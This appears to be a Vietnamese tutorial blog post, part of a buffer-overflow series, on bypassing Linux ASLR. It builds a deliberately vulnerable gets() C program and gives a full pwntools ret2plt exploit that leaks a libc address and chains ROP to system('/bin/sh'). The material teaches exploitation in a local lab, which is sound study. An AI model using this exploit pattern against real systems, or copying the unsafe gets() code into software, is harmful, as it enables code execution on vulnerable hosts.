Linux Exploit – Buffer Overflow – Phần 6 – Bypass ASLR (Address Space Layout Randomization)

Chào mọi người, sau phần 5 – bypass Stack Canary, phần 6 mình sẽ hướng dẫn mọi người cách bypass cơ chế ASLR trên linux 1. ASLR là gì? ASLS viết tắt của Address space layout randomization, tức là ngẫu nhiên hóa không gian địa chỉ. Từ phần 1 đến phần 5 chúng ta luôn

Chào mọi người, sau phần 5 – bypass Stack Canary, phần 6 mình sẽ hướng dẫn mọi người cách bypass cơ chế ASLR trên linux

1. ASLR là gì?

ASLS viết tắt của Address space layout randomization, tức là ngẫu nhiên hóa không gian địa chỉ. Từ phần 1 đến phần 5 chúng ta luôn tắt cơ chế này đi, bằng dòng lệnh sau:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space, nhằm tắt chế độ này đi. Khi chế độ này được bật, các thư viện sử dụng trong quá trình chạy tệp nhị phân sẽ được tải vào 1 địa chỉ bộ nhớ khác, để bật chế độ này, ta sửa giá trị của randomize_va_space thành 2: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space. Cụ thể, để dễ hiểu hơn, mình sẽ có 1 file C như sau:

vuln.c

#include <stdio.h>
#include <string.h>

int main(){
	char buff[10];
	puts("String: ");
	gets(buff);
	return 0;
}

Tiến hành compile: gcc -m32 vuln.c -o vuln-32 -no-pie -mpreferred-stack-boundary=2, mình tắt stackcanary để tập trung vào ASLR nha.

Sử dụng ldd vuln-32 để kiểm tra thư viện được sử dụng, ta được kết quả địa chỉ thư viện thay đổi sau mỗi lần chạy.

Có thể thấy sau mỗi lần sử dụng, địa chỉ của libc đã bị thay đổi, vì vậy, đối với việc sử dụng để bypass NX bằng ret2libc, chúng ta sẽ không thể làm được vì không thể biết được địa chỉ của libc này.

2. Bypass ASLR bằng ret2plt

Đầu tiên chúng ta cần hiểu PLT và GOT là gì. PLT (Procedure linkage table) và GOT (global offset table) là các phần trong tệp ELF nhằm xử lý các liên kết động. Cụ thể, khi trong chương trình sẽ có các hàm, ví dụ như ở trên sẽ là puts và gets, trong quá trình compile, nhằm giảm thiểu kích thước của tệp nhị phân, 2 function này sẽ không được compile cùng với chương trình. Thay vào đó, mỗi khi chạy chương trình đã được biên dịch, PLT và GOT sẽ phát huy tác dụng.

Mở gdb để phân tích file vuln ở trên, thực hiện disassemble hàm main ta được kết quả như sau:

gef➤  disassemble main
Dump of assembler code for function main:
   0x08049166 <+0>:     push   ebp
   0x08049167 <+1>:     mov    ebp,esp
   0x08049169 <+3>:     push   ebx
   0x0804916a <+4>:     sub    esp,0xc
   0x0804916d <+7>:     call   0x80490a0 <__x86.get_pc_thunk.bx>
   0x08049172 <+12>:    add    ebx,0x2e82
   0x08049178 <+18>:    lea    eax,[ebx-0x1fec]
   0x0804917e <+24>:    push   eax
   0x0804917f <+25>:    call   0x8049050 <puts@plt>
   0x08049184 <+30>:    add    esp,0x4
   0x08049187 <+33>:    lea    eax,[ebp-0xe]
   0x0804918a <+36>:    push   eax
   0x0804918b <+37>:    call   0x8049040 <gets@plt>
   0x08049190 <+42>:    add    esp,0x4
   0x08049193 <+45>:    mov    eax,0x0
   0x08049198 <+50>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804919b <+53>:    leave  
   0x0804919c <+54>:    ret    
End of assembler dump.

Có thể thấy, chương trình không chuyển đến hàm puts mà là puts@plt tại địa chỉ 0x8049050, đặt breakpoint 0x0804917f và chạy chương trình, kết quả là:

→  0x804917f <main+25>        call   0x8049050 <puts@plt>
   ↳   0x8049050 <puts@plt+0>     jmp    DWORD PTR ds:0x804c008
       0x8049056 <puts@plt+6>     push   0x10
       0x804905b <puts@plt+11>    jmp    0x8049020
       0x8049060 <_start+0>       xor    ebp, ebp
       0x8049062 <_start+2>       pop    esi
       0x8049063 <_start+3>       mov    ecx, esp

Kiểm tra địa chỉ tại 0x804c008 ta được:

gef➤  x/s 0x804c008
0x804c008 <puts@got.plt>:       "V22004b"

Tiếp đến chương trình nhảy đến puts@got.plt, đây chính là nơi hàm puts được lưu trong thư viện libc.
Vì vậy, tóm lại, chỉ cần gọi function trong bảng plt, nó sẽ tự động thực hiện tìm kiếm địa chỉ của func trong got và thực hiện nó.

Thêm 1 điểm đặc biệt nữa, tuy địa chỉ của libc bị thay đổi, nhưng offset giữa nó và các function sẽ không thay đổi. Offset này ta có thể lấy được với libc.sym trong bảng symbols, vì vậy chỉ cần lấy ra được địa chỉ của function, ta có thể tính được địa chỉ của libc.

3. Tiến hành viết file exploit

Đầu tiên, cần xem xét function nào có thể sử dụng được để lấy địa chỉ.

gef➤  info functions 
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  __libc_start_main@plt
0x08049040  gets@plt
0x08049050  puts@plt
0x08049060  _start
0x08049090  _dl_relocate_static_pie
0x080490a0  __x86.get_pc_thunk.bx
0x080490b0  deregister_tm_clones
0x080490f0  register_tm_clones
0x08049130  __do_global_dtors_aux
0x08049160  frame_dummy
0x08049166  main
0x080491a0  _fini

Ta thấy ở đây có func puts sẽ in ra, vì vậy ta sẽ sử dụng nó để in ra địa chỉ của nó trong libc (puts@got), từ đó tính toán ra libc address.

Đầu tiên tìm địa chỉ của put@got bằng cách gọi hàm puts@plt với tham số đầu vào là puts@got, như vậy địa chỉ của puts@got sẽ được in ra.

from pwn import *

context(os='linux', arch='i386')
p = process('./vuln-32')

elf = ELF('./vuln-32')
libc = elf.libc

puts_got = elf.got['puts']         #puts@plt 
puts_plt = elf.plt['puts']         #argument for puts@plt function
main = elf.sym['main']             #return address after puts function 
payload = b'A'*18 + p32(puts_plt) + p32(main) + p32(puts_got)

p.sendline(payload)
p.readline()
data_recv = p.readline()
leaked_address = u32(data_recv[:-1])

libc.address = leaked_address - libc.sym['puts']

Cuối cùng thực hiện bypass NX bằng ROP, ta được file exploit.py như sau:

from pwn import *

context(os='linux', arch='i386')
p = process('./vuln-32')

elf = ELF('./vuln-32')
libc = elf.libc


puts_got = elf.got['puts'] #puts@plt 
puts_plt = elf.plt['puts'] #argument for puts@plt function
main = elf.sym['main'] #return address after puts function 
payload = b'A'*18 + p32(puts_plt) + p32(main) + p32(puts_got)

p.sendline(payload)
p.readline()
data_recv = p.readline()
leaked_address = u32(data_recv[:-1])

libc.address = leaked_address - libc.sym['puts']

rop = ROP(libc)
rop.raw("A"*18)
payload = b"A"*18 + b'x90'*8
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(rop.chain())

p.interactive()

Link github file series: https://github.com/vuongle-vigo/BinaryExploit

Link github bài này: https://github.com/vuongle-vigo/BinaryExploit/tree/master/Buffer Overflow/ASLR_Bypass

Nguồn: viblo.asia

Bài viết liên quan

WebP là gì? Hướng dẫn cách để chuyển hình ảnh jpg, png qua webp

WebP là gì? WebP là một định dạng ảnh hiện đại, được phát triển bởi Google

Điểm khác biệt giữa IPv4 và IPv6 là gì?

IPv4 và IPv6 là hai phiên bản của hệ thống địa chỉ Giao thức Internet (IP). IP l

Check nameservers của tên miền xem website trỏ đúng chưa

Tìm hiểu cách check nameservers của tên miền để xác định tên miền đó đang dùn

Mình đang dùng Google Domains để check tên miền hàng ngày

Từ khi thông báo dịch vụ Google Domains bỏ mác Beta, mình mới để ý và bắt đầ